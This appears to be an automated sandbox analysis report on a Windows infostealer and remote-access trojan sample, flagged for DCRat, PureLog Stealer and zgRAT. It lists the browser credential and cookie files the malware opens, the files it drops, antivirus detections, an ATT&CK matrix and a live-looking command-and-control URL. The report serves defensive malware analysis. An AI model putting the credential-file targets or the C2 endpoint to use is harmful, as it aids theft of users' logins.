Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1697890254.00000000130D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aW6kSsgdvv.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe PID: 7528, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: aW6kSsgdvv.exe, type: SAMPLE
Source: Yara match	File source: 0.0.aW6kSsgdvv.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1651549669.0000000000822000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: aW6kSsgdvv.exe, type: SAMPLE
Source: Yara match	File source: 0.0.aW6kSsgdvv.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	141 Windows Management Instrumentation	1 Scripting	12 Process Injection	33 Masquerading	1 OS Credential Dumping	331 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	251 Virtualization/Sandbox Evasion	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Clipboard Data	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	134 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
aW6kSsgdvv.exe	58%	Virustotal		Browse
aW6kSsgdvv.exe	74%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
aW6kSsgdvv.exe	100%	Avira	HEUR/AGEN.1323342
aW6kSsgdvv.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\SVFlttpV.log	100%	Avira	HEUR/AGEN.1300079
C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\UPIBktTL.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\QYddYtaa.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\FtWmYUyp.log	100%	Avira	TR/Agent.jbwuj
C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat	100%	Avira	BAT/Delbat.C
C:\Users\user\Desktop\QGDVeHnG.log	100%	Avira	TR/AVI.Agent.updqb
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\SAFlVHRw.log	100%	Avira	TR/Agent.jbwuj
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\SVFlttpV.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\FkfwJRmb.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\UPIBktTL.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\SrillUyz.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\OSzMttrI.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\CBsOLUGE.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\BFEovXjB.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\MQMeXKnN.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	74%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe	74%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	74%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
C:\Users\user\Desktop\AoefClwh.log	8%	ReversingLabs
C:\Users\user\Desktop\BFEovXjB.log	5%	ReversingLabs
C:\Users\user\Desktop\CBsOLUGE.log	16%	ReversingLabs
C:\Users\user\Desktop\CDgwRXyw.log	29%	ReversingLabs
C:\Users\user\Desktop\ENCxRpdw.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\FkfwJRmb.log	21%	ReversingLabs
C:\Users\user\Desktop\FtWmYUyp.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\GhGFeRBW.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\KfBEvNVm.log	25%	ReversingLabs
C:\Users\user\Desktop\MQMeXKnN.log	8%	ReversingLabs
C:\Users\user\Desktop\OSzMttrI.log	5%	ReversingLabs
C:\Users\user\Desktop\OeOumwpc.log	9%	ReversingLabs
C:\Users\user\Desktop\QGDVeHnG.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\QYddYtaa.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\QhBdIftX.log	8%	ReversingLabs
C:\Users\user\Desktop\QyTCAYNB.log	9%	ReversingLabs
C:\Users\user\Desktop\SAFlVHRw.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\SVFlttpV.log	25%	ReversingLabs
C:\Users\user\Desktop\SrillUyz.log	16%	ReversingLabs
C:\Users\user\Desktop\UPIBktTL.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\UXrTPcuQ.log	25%	ReversingLabs
C:\Users\user\Desktop\XoXkyDgk.log	29%	ReversingLabs
C:\Users\user\Desktop\ZytkyWMl.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\aQUtsIzF.log	17%	ReversingLabs
C:\Users\user\Desktop\aYPSAOzm.log	21%	ReversingLabs
C:\Users\user\Desktop\amxtkjHj.log	25%	ReversingLabs
C:\Users\user\Desktop\buBBtjbG.log	21%	ReversingLabs
C:\Users\user\Desktop\dGLjzEzy.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\eUERMxhX.log	25%	ReversingLabs
C:\Users\user\Desktop\itdibBOm.log	21%	ReversingLabs
C:\Users\user\Desktop\jhNAiyRT.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\kEKqFqTO.log	25%	ReversingLabs
C:\Users\user\Desktop\kNhqpcmL.log	8%	ReversingLabs
C:\Users\user\Desktop\lvPRxkTh.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\mSMHUcVd.log	8%	ReversingLabs
C:\Users\user\Desktop\nguhEyda.log	8%	ReversingLabs
C:\Users\user\Desktop\oDYhwZmE.log	21%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\qIDxbZVW.log	12%	ReversingLabs
C:\Users\user\Desktop\vBMhZoht.log	17%	ReversingLabs
C:\Users\user\Desktop\vNbOSreM.log	17%	ReversingLabs
C:\Users\user\Desktop\xmrxgCsm.log	17%	ReversingLabs
C:\Users\user\Desktop\zavFSPnk.log	12%	ReversingLabs
C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	74%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	74%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba

Source	Detection	Scanner	Label
http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/	0%	Avira URL Cloud	safe
http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php	0%	Avira URL Cloud	safe
http://62.109.6.177	0%	Avira URL Cloud	safe
http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefau	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://62.109.6.177/Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://www.apache.org/licenses/LICENSE-2.0	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://www.fontbureau.com/designers/?	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://www.fontbureau.com/designers?	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://www.tiro.com	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://62.109.6.177	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003783000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000036D0000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003847000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000144B2000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013DC8000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000134BB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013553000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013A7F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.00000000139CB000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4126243719.0000000013406000.00000004.00000800.00020000.00000000.sdmp, 6o0eAObxUQ.5.dr, xEnXMmNnKh.5.dr, 24VGEROb9U.5.dr, RDHKvUVw2I.5.dr, INlZjVVjPj.5.dr, sWksvJIecg.5.dr, QB41UIVJap.5.dr, Ur2r4ndHXO.5.dr, n41bJP1fTl.5.dr, BMQdcAHtri.5.dr, ldEgUKiDch.5.dr, 2aBXW5mUaK.5.dr, JKmS1ZC9C0.5.dr, NDPDdVt8rn.5.dr	false		high
http://www.carterandcone.coml	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4151869849.000000001FCC2000.00000004.00000800.00020000.00000000.sdmp	false		high
